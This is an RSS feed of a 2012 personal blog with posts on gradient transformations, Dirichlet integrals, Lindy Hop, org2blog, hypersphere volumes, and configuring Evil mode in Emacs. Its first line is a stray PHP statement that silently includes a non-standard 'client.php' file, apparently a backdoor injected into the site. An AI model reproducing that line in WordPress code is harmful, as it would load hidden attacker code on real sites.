@include( ABSPATH . WPINC . '/client.php');<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Posts technical---or quite simplistic</title>
	<atom:link href="http://dnquark.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://dnquark.com/blog</link>
	<description>Threads both sad and humoristic / небрежный плод моих забав ...</description>
	<lastBuildDate>Mon, 04 Jun 2012 12:00:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Gradient transformations</title>
		<link>http://dnquark.com/blog/2012/06/gradient-transformations/</link>
		<comments>http://dnquark.com/blog/2012/06/gradient-transformations/#comments</comments>
		<pubDate>Mon, 04 Jun 2012 11:58:12 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[physics]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=342</guid>
		<description><![CDATA[From the "I keep having to re-derive this because the Wikipedia explanation sucks" department, here are the transformation rules for differentials and for the gradient in terms of the Jacobian (you can think of this as an adaptation of the simple multivariate chain rule).  Of course, the real story is quite a bit more interesting [...]]]></description>
			<content:encoded><![CDATA[<p>From the "I keep having to re-derive this because the Wikipedia explanation sucks" department, here are the transformation rules for differentials and for the gradient in terms of the Jacobian (you can think of this as an adaptation of the simple multivariate chain rule).  Of course, the real story is quite a bit more interesting and nuanced, and revolves around the fact that gradient components live in the <em>dual </em>space -- hence the strange inverse transpose Jacobian transformation law.  For an elementary, yet rather insightful and detailed discussion I would recommend Koks' <em>Explorations in Mathematical Physics</em> (Chapter 8).<a href="http://dnquark.com/blog/wp-content/uploads/2012/06/coord1.png"><img class=" wp-image-343 aligncenter" title="coord1" src="http://dnquark.com/blog/wp-content/uploads/2012/06/coord1.png" alt="" width="500" height="251" /></a></p>
<p><a href="http://dnquark.com/blog/wp-content/uploads/2012/06/coord2.png"><img class=" wp-image-344 aligncenter" title="coord2" src="http://dnquark.com/blog/wp-content/uploads/2012/06/coord2.png" alt="" width="505" height="270" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/06/gradient-transformations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Integrating Dirichlet distributions</title>
		<link>http://dnquark.com/blog/2012/05/integrating-dirichlet-distributions/</link>
		<comments>http://dnquark.com/blog/2012/05/integrating-dirichlet-distributions/#comments</comments>
		<pubDate>Tue, 29 May 2012 08:06:06 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[physics]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=325</guid>
		<description><![CDATA[I've been learning a whole lot about PGMs and machine learning lately.  I don't consider it straying too far from my physics roots, in light of the fact that many juicy bits of contemporary AI, such as Markov random fields or Metropolis-Hastings sampling originated in physics.  This connection notwithstanding, my background doesn't give me that [...]]]></description>
			<content:encoded><![CDATA[<p>I've been learning a whole lot about PGMs and machine learning lately.  I don't consider it straying too far from my physics roots, in light of the fact that many juicy bits of contemporary AI, such as Markov random fields or Metropolis-Hastings sampling originated in physics.  This connection notwithstanding, my background doesn't give me <em>that</em> great of an advantage -- most of the time.  A few days ago, however, I was able to apply one delicious trick I knew in order to work out the integral of a Dirichlet distribution, and I can't help sharing it here.  This story has it all -- Fourier representation of the Dirac delta, Gamma functions, Laplace transforms, sandwiches, Bromwiches -- and yet it all fits into a pretty simple narrative.</p>
<p>Our story starts on a stormy summer night, with our protagonist grappling with the following question:  how on Earth do you take this integral?</p>
<p style="text-align: center;"><span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_4baa2044c5e871bb41e9a3da74f9f58d.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="\int_{\theta_1}\cdots\int_{\theta_k} \prod_{j=1}^k\theta_j^{\alpha-1} d\theta_1\cdots d\theta_k" /></span><script type='math/tex'>\int_{\theta_1}\cdots\int_{\theta_k} \prod_{j=1}^k\theta_j^{\alpha-1} d\theta_1\cdots d\theta_k</script></p>
<p>Variables <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_cb0e17d96e58d55d1eb06dc1b14b7a7b.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="\theta_j" /></span><script type='math/tex'>\theta_j</script> here are multinomial parameters, and thus must be non-negative and sum to 1.  In a valiant (but ultimately futile) effort to avoid doing this integral by myself, I found <a href="http://memming.wordpress.com/2010/09/09/integration-of-product-of-functions-on-a-probability-simplex/">this blog post</a> -- which was a good start, and would allow me to casually drop terms like "integration over a simplex" or "k-fold Laplace convolution".  But it turns out that we can get away with something much simpler than this simplex business.  When faced with some constraint in an integrand, a physicist's instinct is to express it as a Dirac delta and integrate right over it.  For the problem above, this approach works like magic!  Without giving too much away, here's the punchline:</p>
<p><a href="http://dnquark.com/blog/wp-content/uploads/2012/05/delta_lapl_gamma_win.png"><img class="wp-image-339 aligncenter" title="delta_lapl_gamma_win" src="http://dnquark.com/blog/wp-content/uploads/2012/05/delta_lapl_gamma_win.png" alt="" width="449" height="85" /></a></p>
<p>Want to know more?  Because I've been on a Xournal/youtube binge lately, I narrated this derivation and put it up for the world to see.  <a href="http://dnquark.com/blog/wp-content/uploads/2012/05/dirichlet.xoj_.pdf">Here are the "slides"</a>  and below is the actual video.  Enjoy!</p>
<p><iframe width="500" height="281" src="http://www.youtube.com/embed/cv7ESInBhbs?fs=1&#038;feature=oembed" frameborder="0" allowfullscreen></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/05/integrating-dirichlet-distributions/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Lindy Hop is physics</title>
		<link>http://dnquark.com/blog/2012/03/lindy-hop-is-physics/</link>
		<comments>http://dnquark.com/blog/2012/03/lindy-hop-is-physics/#comments</comments>
		<pubDate>Mon, 05 Mar 2012 05:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=320</guid>
		<description><![CDATA[This plain truth becomes obvious when we think about the flow of energy in the dance, changes in angular and linear momentum, friction between the floor and your Aris Allens, the spring constant in the connection &#8211; the list goes on and on. This isn't a new concept. For instance, recently, I found the following [...]]]></description>
			<content:encoded><![CDATA[<p>This plain truth becomes obvious when we think about the flow of energy in the dance, changes in angular and linear momentum, friction between the floor and your Aris Allens, the spring constant in the connection &ndash; the list goes on and on. </p>
<p> This isn't a new concept.  For instance, recently, I found the following great quote: </p>
<blockquote>
<p>"Lindy is 50% Newtonian physics, 30% musicality and 20% magic"
</p>
</blockquote>
<p> I would argue, however, that this quote is wrong.  Lindy hop isn't about Newtonian physics &ndash; sure, the descriptions of inertia and conservation laws can come in handy, and leads are sometimes known to jokingly discuss the concept of a perfectly spherical follow in vacuum.  But fundamentally, the dance isn't about particles.  It's about the superposition of particle and wave properties of the motion to create the dance. </p>
<p> That's right, Lindy Hop is a dance best described by quantum physics.   </p>
<p> Conversely, quantum physics is best described by Lindy Hop, as we learned earlier this week from Krister Shalm and his <a href="http://www.quantumpie.com/project-q/">Project Q</a>. </p>
<p> The first step towards studying Quantum Lindy Hop, of course, is to understand its classical wave dynamics.  As a data scientist who spent years playing around with waves for his Ph.D., I accept the challenge. I hereby inaugurate <a href="http://dnquark.com/blog/lindy-science/">Project W, a.k.a. Lindy Hop Science</a> (1).  Wanna help?  Send me an email!   </p>
<p> (1) Project W for waves.  Project C for classical sounded kind of lame. </p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/03/lindy-hop-is-physics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Org2blog setup miscellany</title>
		<link>http://dnquark.com/blog/2012/02/org2blog-setup-miscellany/</link>
		<comments>http://dnquark.com/blog/2012/02/org2blog-setup-miscellany/#comments</comments>
		<pubDate>Tue, 21 Feb 2012 05:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=284</guid>
		<description><![CDATA[The other day I had to spend some time figuring out how to do the following things in org2blog: display LaTeX properly embed YouTube videos clear org2blog keybindings All are very easy, but took a little bit of digging, so here it is recorded for posterity. First, there is a plethora of LaTeX plugins for [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I had to spend some time figuring out how to do the following things in org2blog: </p>
<ul>
<li>display LaTeX properly </li>
<li>embed YouTube videos </li>
<li>clear org2blog keybindings </li>
</ul>
<p> All are very easy, but took a little bit of digging, so here it is recorded for posterity. </p>
<p> First, there is a plethora of LaTeX plugins for WordPress. I favor the ones that use MathJax; after all, we live in the year 2012. Converting LaTeX to images is <i>so</i> 1990s. For MathJax support, you can use the <a href="http://wordpress.org/extend/plugins/latex/">excellent plugin</a> by zhiqiang.  Note that the syntax for inline vs display formulas is slightly different than what one might be used to (note the exclamation marks).  On the org2blog side, you have to make sure to set </p>
<p> <code>(setq org2blog/wp-use-wp-latex nil)</code> </p>
<p> otherwise, the LaTeX syntax generated is incompatible with the plugin. </p>
<p> YouTube videos can be embedded using the <a href="http://wordpress.org/extend/plugins/youtube-embed/other_notes/">Artiss youtube embed plugin</a>; in the org2blog you have to specify something like </p>
<pre class="example">
#+BEGIN_HTML
[shortcode surrounding youtube video code, as per the Artiss docs]
#+END_HTML
</pre>
<p> Finally, the default org2blog bindings are non-standards-compliant in that they use the <code>C-c [letter]</code> keys, which are reserved for the user. In particular, the bindings were interfering with parts of my setup. The solution was to clear the bindings and define my own.  Clearing the bindings takes the following form: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(add-hook 'org2blog/wp-mode-hook
          '(lambda () (setq minor-mode-map-alist
                       (assq-delete-all 'org2blog/wp-mode minor-mode-map-alist))))</pre>
<p> Overall, I am very happy with org2blog. It allows me to blog right from within my preferred computing / brainstorming / writing environment. I like to think that I am <i>not</i> one of those Emacs users that tries to put every aspect of his or her life in some Emacs buffer somewhere, but this little lifehack is just too sensible to ignore. </p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/02/org2blog-setup-miscellany/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Deriving the volume of an n-dimensional hypersphere in 3 minutes</title>
		<link>http://dnquark.com/blog/2012/02/deriving-the-volume-of-an-n-dimensional-hypersphere-in-3-minutes-2/</link>
		<comments>http://dnquark.com/blog/2012/02/deriving-the-volume-of-an-n-dimensional-hypersphere-in-3-minutes-2/#comments</comments>
		<pubDate>Mon, 20 Feb 2012 18:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[math]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=258</guid>
		<description><![CDATA[What's bigger, the unit circle or the unit sphere? This is a trick question, because and are incompatible units, so the fact that the area of one is less than the volume of the other (i.e. &#60; ) doesn't tell you much. So let's ask a different question: if we inscribe an n-sphere inside an [...]]]></description>
			<content:encoded><![CDATA[<p>What's bigger, the unit circle or the unit sphere?</p>
<p>This is a trick question, because <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_dbde89faced5b5817c54bcc6af4be258.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="L^2 " /></span><script type='math/tex'>L^2 </script> and <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_6d255f3bcc3c9aa3560839eb99644d1e.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="L^3 " /></span><script type='math/tex'>L^3 </script> are incompatible units, so the fact that the area of one is less than the volume of the other (i.e. <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_522359592d78569a9eac16498aa7a087.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="\pi " /></span><script type='math/tex'>\pi </script> &lt; <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_919070f2bd2bfd67df996d6cacf82a2b.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="4\pi/3 " /></span><script type='math/tex'>4\pi/3 </script>) doesn't tell you much. So let's ask a different question: if we inscribe an <em>n</em>-sphere inside an <em>n</em>-cube, is a unit circle bigger or smaller, relative to its bounding square, than the unit sphere relative to <em>its</em> bounding cube? And in general, what will be the ratio of their volumes as a function of <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_6fa45c22bd311a4aa532cffb668d86a0.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="n " /></span><script type='math/tex'>n </script>?</p>
<p>Suppose we fix the radius of the <em>n</em>-sphere to be 1. The edge length of the <em>n</em>-cube, then, is 2, and its volume is 2<sup>n</sup>. So, that means that the ratio of the volumes is (1/2)<sup>n</sup>, times some prefactors. Right?</p>
<p>Right. But the form of the prefactor here is quite fascinating. Here's what the volume of the <em>n</em>-sphere is:</p>
<p><p style='text-align:center;'><span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_20a408b390e1d85570e047a7b359ad67.gif' style='vertical-align: middle; border: none;' class='tex' alt="\frac{\pi^{n/2} r^n}{\Gamma(1+n/2)}. " /></span><script type='math/tex;  mode=display'>\frac{\pi^{n/2} r^n}{\Gamma(1+n/2)}. </script></p></p>
<p>See that Gamma function in the denominator? It grows like <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_d19ae2859f99d04d868c36e60eafbb9b.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="(n/2)! " /></span><script type='math/tex'>(n/2)! </script>, meaning that our original estimate of the hypersphere/hypercube volume ratio as (1/2)<sup>n</sup> is quite a few orders of magnitude off for even moderate <em>n</em>. As <em>n</em> grows, the volume of a unit <em>n</em>-sphere goes to zero <em>super</em>-exponentially.</p>
<p>This has an important implication when you want to cluster high-dimensional data. Intuitively, any clustering algorithm (e.g. <em>k</em>-means) involves drawing a boundary around a set of points that lie within a certain radius of their mean. But what we just found is that if we draw a sphere of even a relatively large radius around points in <em>n</em>-dimensions, for <em>n</em> larger than about 30, the volume of that region enclosed by the spherical boundary is approximately zero, meaning that it's highly unlikely to have any points! In that sense, <em>everything</em> is far apart in high dimensions. This is known as <em>the curse of dimensionality</em>.</p>
<p>Volumes of <em>n</em>-spheres are useful in other contexts (for instance, in statistical mechanics). In fact, back in my physics days I learned a very cool and easy derivation of the <em>n</em>-sphere volume formula above. I like it so much that I made not one but <em>two</em> videos about it. Below you can see me doing the derivation in 3 minutes flat. There is also the longer version where I do the same steps, but a little more slowly and methodically. Enjoy!</p>

<!-- YouTube Embed v2.4 | http://www.artiss.co.uk/artiss-youtube-embed -->
<!-- The YouTube ID of QkMn_5QpsX8 is invalid. -->
<p>The video cannot be shown at the moment. Please try again later.</p>
<!-- End of YouTube Embed code -->

]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/02/deriving-the-volume-of-an-n-dimensional-hypersphere-in-3-minutes-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Emacs + Evil = ecumenicalism</title>
		<link>http://dnquark.com/blog/2012/02/emacs-evil-ecumenicalism/</link>
		<comments>http://dnquark.com/blog/2012/02/emacs-evil-ecumenicalism/#comments</comments>
		<pubDate>Mon, 20 Feb 2012 05:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=251</guid>
		<description><![CDATA[Early on in the history of the editor wars, adherents of Emacs banded together to form a religion. As a result of this ecclesiastical schism, vi came to be known as "the editor of the beast". It comes as no surprise that something denounced by a particular religious sect turns out, in reality, to be [...]]]></description>
			<content:encoded><![CDATA[<p>Early on in the history of the <a href="http://en.wikipedia.org/wiki/Editor_wars">editor wars</a>, adherents of Emacs banded together to form a religion. As a result of this ecclesiastical schism, vi came to be known as "the editor of the beast". It comes as no surprise that something denounced by a particular religious sect turns out, in reality, to be very awesome, useful, and generally good for society. </p>
<p> I am talking, of course, about the power of modal editing.   </p>
<p> The ubiquitous, second-nature process of reading and writing belies the fact that working with text is a subtle, complex, and multifaceted task. Moreover, in our interactions with text we typically spend the majority of the time reading, searching, and editing. This is doubly true for structured text, such as Wikipedia markup or computer programs. Key-chord-based text editors make this process needlessly slow and inconvenient. </p>
<p> But this post isn't just another vi/Vim paean.  This post is about <a href="http://www.emacswiki.org/emacs/Evil">Evil</a>, the Extensible Vi Layer for Emacs written by Frank Fischer and Vegard Øye.   It allows to combine the incredible power of Emacs with the ergonomics, terseness, and efficiency of Vim, and if you are an Emacs user, you should <a href="http://www.emacswiki.org/emacs/Evil">check it out</a>.  If you are a Vim user, here's your chance to switch to a better editor without having to retrain the muscle memory.    </p>
<p> Currently, most Evil users seem to come from the Vim camp. As a result, Evil's defaults skew towards Vim behavior.  This makes it somewhat difficult to adopt for us Emacs users: we have to face the double task of learning Vim, as well as figuring out how to make the modal editing paradigm work smoothly with the existing Emacs usage patterns.  As someone that has done this journey, I would like to share some tips. </p>
<p> So let's assume you successfully installed Evil.  Great!  Now, what exactly did you get yourself into?  Well, effectively, all Evil does is redefine the key bindings depending on the context, or "state".  As a user, you will primarily deal with three states: normal (for navigating/editing), insert (for typing characters), and motion (used for read-only buffers such as help).  There is also the Emacs state, which simply gives you familiar Emacs behavior, the same as what you'd get if you turned off Evil. </p>
<p> One option, therefore, is to use Evil's Emacs state as a default, using <code>C-z</code> to toggle between it and the normal state. However, I don't recommend this approach, as one would be tempted to revert to old Emacs habits, thereby missing 90% of the awesomeness Evil provides.  Let's just plunge in: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(setq evil-default-state 'normal)</pre>
<p> Now do a Google search for a good Vim tutorial, and experiment lots!  </p>
<div id="outline-container-1" class="outline-2">
<h2 id="sec-1">Issues you might encounter as an Emacs user</h2>
<div class="outline-text-2" id="text-1">    </div>
<div id="outline-container-1-1" class="outline-3">
<h3 id="sec-1-1">Insert state clobbers some useful Emacs keybindings</h3>
<div class="outline-text-3" id="text-1-1">
<p> The solution to this is to clear the insert state keymap, leaving you with unadulterated Emacs behavior.  You might still want to poke around the keymap (defined in <code>evil-maps.el</code>) and see if you want to salvage some useful insert state command by rebinding them to keys of your liking. Also, you need to bind <code>ESC</code> to putting you back in normal mode.  So, try using this code. With it, I have no practical need to ever switch to Emacs state. </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(setcdr evil-insert-state-map nil)
(define-key evil-insert-state-map
  (read-kbd-macro evil-toggle-key) 'evil-emacs-state)</pre>
</p></div>
</p></div>
<div id="outline-container-1-2" class="outline-3">
<h3 id="sec-1-2">I want the keybinding <i>X</i> to work in Evil!</h3>
<div class="outline-text-3" id="text-1-2">
<p> You can always override or add bindings to any Evil state.  Just use something like this: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(define-key evil-normal-state-map &quot;\C-r&quot; 'isearch-backward)
(define-key evil-normal-state-map &quot;\C-e&quot; 'evil-end-of-line)
(define-key evil-motion-state-map &quot;\C-e&quot; 'evil-end-of-line)</pre>
</p></div>
</p></div>
<div id="outline-container-1-3" class="outline-3">
<h3 id="sec-1-3">Evil bindings for key <i>X</i> shadow the default bindings in mode <i>Y</i></h3>
<div class="outline-text-3" id="text-1-3">
<p> A common culprit here is the <code>return</code> key, which is ordinarily bound to <code>evil-ret</code> (a command that, as of this writing, doesn't know about what return is supposed to do in a current mode). </p>
<p> A crude but effective solution is to change Evil bindings on a per-state, per-mode basis, like so: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(evil-declare-key 'motion completion-list-mode-map (kbd &quot;&lt;return&gt;&quot;) 'choose-completion)
(evil-declare-key 'motion completion-list-mode-map (kbd &quot;RET&quot;) 'choose-completion)
(evil-declare-key 'motion browse-kill-ring-mode-map (kbd &quot;&lt;return&gt;&quot;) 'browse-kill-ring-insert-and-quit)
(evil-declare-key 'motion browse-kill-ring-mode-map (kbd &quot;RET&quot;) 'browse-kill-ring-insert-and-quit)
(evil-declare-key 'motion occur-mode-map (kbd &quot;&lt;return&gt;&quot;) 'occur-mode-goto-occurrence)
(evil-declare-key 'motion occur-mode-map (kbd &quot;RET&quot;) 'occur-mode-goto-occurrence)</pre>
<p> Note that I am using both the <code>RET</code> and <code>&lt;return&gt;</code> forms to make sure the key works both in terminal and under X. </p>
<p> This issue becomes more tricky in "read-only" modes that use letter keys for navigation (e.g. info, dired, ibuffer). It's not obvious to me what the best practices are for such modes. Should the Emacs bindings shadow Evil normal state? Does insert or normal state make more sense as the default? Currently, I don't have clear-cut answers. </p>
</p></div>
</p></div>
<div id="outline-container-1-4" class="outline-3">
<h3 id="sec-1-4">I don't want Evil to ever touch keybinding <i>X</i></h3>
<div class="outline-text-3" id="text-1-4">
<p> This can too be arranged!  Define the following function: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(defun evil-undefine ()
 (interactive)
 (let (evil-mode-map-alist)
   (call-interactively (key-binding (this-command-keys)))))</pre>
<p> Now, to make sure that Evil's normal state never touches <code>TAB</code>, just wire this fall-through binding like so: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(define-key evil-normal-state-map (kbd &quot;TAB&quot;) 'evil-undefine)</pre>
</p></div>
</p></div>
<div id="outline-container-1-5" class="outline-3">
<h3 id="sec-1-5">Mode <i>X</i> should start in normal state, but mode <i>Y</i> should start in insert state</h3>
<div class="outline-text-3" id="text-1-5">
<p> Use <code>evil-set-initial-state</code>: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(evil-set-initial-state mode-x 'normal)
(evil-set-initial-state mode-y 'insert)</pre>
</p></div>
</p></div>
<div id="outline-container-1-6" class="outline-3">
<h3 id="sec-1-6">Doing a copy via M-w loses a character</h3>
<div class="outline-text-3" id="text-1-6">
<p> If you are running Emacs 24, see if you are being affected by <a href="https://bitbucket.org/lyro/evil/issue/110/kill-ring-save-doesnt-work-properly-in">this bug</a>. </p>
</p></div>
</p></div>
<div id="outline-container-1-7" class="outline-3">
<h3 id="sec-1-7">My selection is off by a character</h3>
<div class="outline-text-3" id="text-1-7">
<p> This can be somewhat subtle, as Emacs and Vim have different defaults regarding the visual/transient mark.  In particular, in Emacs, the last selected character is always the one before the point.  This makes operating on text from left to right and from right to left asymmetrical: if you wanted to select the string <code>123</code>, and your cursor is on the 1, you press <code>C-SPC,C-3,C-f</code>.  However, if your cursor is on the 3, you <i>first have to move it past the 3</i>, and only then do <code>C-SPC,C=3,C-b</code>.  In Vim, on the other hand, the last selected character is always under point, so you'd just do <code>v2l</code> if the cursor is no the 1, or <code>v2h</code> if the cursor is on the 3.  The fact that in Emacs, you always deal with this asymmetry, whether you are aware of it or not, can lead to selections (or, in general, cursor positioning) being off by a character when you use commands that are, conceptually, the same in Emacs and Vim, but differ in their treatment of character under point vs character before point.  The good news is that Evil provides the following setting, which might help with correct character selection at beginnings and ends of lines: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(setq evil-want-visual-char-semi-exclusive t)</pre>
<p> You might also look into changing Vim's default behavior whereby the cursor moves back one space (although this behavior <a href="http://unix.stackexchange.com/questions/11402/why-does-esc-move-the-cursor-back-in-vim">makes a fair amount of sense</a>). For this, you could look into  </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(setq evil-move-cursor-back nil) ;;and maybe also:
(setq evil-highlight-closing-paren-at-point-states nil) </pre>
<p> You could also try playing with <code>(setq evil-visual-char 'exclusive)</code>, but I personally see no good reason to use that setting.  In my own configuration, I just turned on <code>evil-want-visual-char-semi-exclusive</code> and it's been working well for me thus far. </p>
</p></div>
</p></div>
</p></div>
<div id="outline-container-2" class="outline-2">
<h2 id="sec-2">Favorite Vim / Evil usage patterns</h2>
<div class="outline-text-2" id="text-2">
<p> I will keep this section brief, since I am relatively new to the Vim way of editing text.  Here are a few things that I have found handy or elegant in my 1.5 months with Evil. Some of these are pretty trivial, and some have Emacs equivalents (either built-in or via add-on Elisp). However, everything just feels cleaner without having to press <code>C</code> or <code>M</code> all the time. </p>
</p></div>
<div id="outline-container-2-1" class="outline-4">
<h4 id="sec-2-1">Searching via <code>/</code></h4>
<div class="outline-text-4" id="text-2-1">
<p> We all know that isearch is the way to navigate text in Emacs buffers, and <code>/</code> is very similar to isearch. Because <code>/</code> is ergonomically superior to <code>C-s</code>, I find myself using the search-to-navigate paradigm much more than with my old Emacs setup. </p>
</p></div>
</p></div>
<div id="outline-container-2-2" class="outline-4">
<h4 id="sec-2-2">Block selection</h4>
<div class="outline-text-4" id="text-2-2">
<p> In Vim/Evil, <code>C-v</code> allows you to select rectangles and do things like insert or paste text before every line in a rectangle. In Emacs, CUA rectangle mode does something similar, but you have to enable it. In Evil, it comes built-in. </p>
</p></div>
</p></div>
<div id="outline-container-2-3" class="outline-4">
<h4 id="sec-2-3">Combining search, motion, deletion, and selection commands</h4>
<div class="outline-text-4" id="text-2-3">
<p> Such combinations are very powerful. Here are a few examples to give you a flavor of what I am talking about: </p>
<ul>
<li><code>d/foo[RET]</code>: deletes from point to string "foo" </li>
<li><code>dfa</code>: deletes from point to character "a", inclusive </li>
<li><code>cta</code>: deletes from point to character "a", exclusive, and puts you in   insert mode </li>
<li><code>viw</code>: selects inside word </li>
<li><code>vfa;</code>: selects from point until the second occurrence of char "a", inclusive   </li>
<li><code>yi)</code>: copy text inside parens </li>
<li><code>di"</code>: delete text inside double quotes </li>
</ul></div>
</p></div>
<div id="outline-container-2-4" class="outline-4">
<h4 id="sec-2-4">Operating on surrounding delimiters (quotes, parentheses, etc.)</h4>
<div class="outline-text-4" id="text-2-4">
<p> These are enabled by the port of Vim's surround plugin, available <a href="https://github.com/timcharper/evil-surround">here</a>. You can do things like change double quotes to single quotes via <code>cs"'</code>, surround words with HTML tags, and if you have selected some text, surround it with delimiters via e.g. <code>s)</code> or <code>s'</code>. </p>
</p></div>
</p></div>
<div id="outline-container-2-5" class="outline-4">
<h4 id="sec-2-5">Defining your own normal mode commands</h4>
<div class="outline-text-4" id="text-2-5">
<p> For instance, I have <code>gj</code> mapped to <code>org-goto</code> in org-mode, and <code>gb</code> mapped to <code>ido-switch-buffer</code>.  I like those way more than the original bindings. </p>
<p> One can take this idea further and create keymaps starting with a dedicated leader key (<code>,</code> has been suggested as a good leader key choice).   See <a href="https://gitorious.org/evil/evil/merge_requests/12">this discussion</a> for more insight into how one might do this via a plugin or Emacs built-in keymap functions.  </p>
</p></div>
</p></div>
</p></div>
<div id="outline-container-3" class="outline-2">
<h2 id="sec-3">Where to learn more</h2>
<div class="outline-text-2" id="text-3">
<p> Evil is a relatively new project, and resources online are somewhat sparse at the moment. Some of the useful resources out there are: </p>
<ul>
<li><a href="http://www.emacswiki.org/emacs/Evil">Evil on Emacswiki</a> </li>
<li><a href="http://blog.gmane.org/gmane.emacs.vim-emulation">Official mailing list</a>   </li>
<li>Michael Markert's <a href="https://github.com/cofi/dotfiles/blob/master/emacs.d/cofi-evil.el">Evil config file</a> is an excellent example of how one might   want to customize Evil bindings and behavior, and do so in a clean   manner. There are lots of goodies there, my favorite being a method to   dynamically change the look of the cursor based on the state (insert vs   normal). (Note that the code in that file sometimes relies on external utility functions.) </li>
<li>For a quick run-down of Evil's internals, consult the PDF or Info   documentation that comes with the code. </li>
</ul>
<p> I would have very much liked to include some Vim tutorials here, for the benefit of Emacs users, however, most of the materials that I have stumbled upon seem to be either too basic or too advanced.  If you have something that you like, please leave a comment! </p>
</p></div>
</p></div>
<div id="outline-container-4" class="outline-2">
<h2 id="sec-4">Conclusion</h2>
<div class="outline-text-2" id="text-4">
<p> Most of the choices we make result in imperfect compromises, which makes it easy to lapse into the "grass is greener" mentality. I am a lindy hopper that envies salsa dancers, and a Linux/Android user that evangelizes all things Apple. Up until recently, I've been an Emacs devotee that coveted modal editing. Today, however, my CapsLock key is mapped to ESC instead of Ctrl, and the world is a slightly more perfect place &ndash; all thanks to the powers of Evil. </p>
</div></div>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/02/emacs-evil-ecumenicalism/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Shake that grating</title>
		<link>http://dnquark.com/blog/2012/01/shake-that-grating/</link>
		<comments>http://dnquark.com/blog/2012/01/shake-that-grating/#comments</comments>
		<pubDate>Sun, 22 Jan 2012 06:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[nanophotonics]]></category>
		<category><![CDATA[physics]]></category>
		<category><![CDATA[research]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/2012/01/research-highlights/</guid>
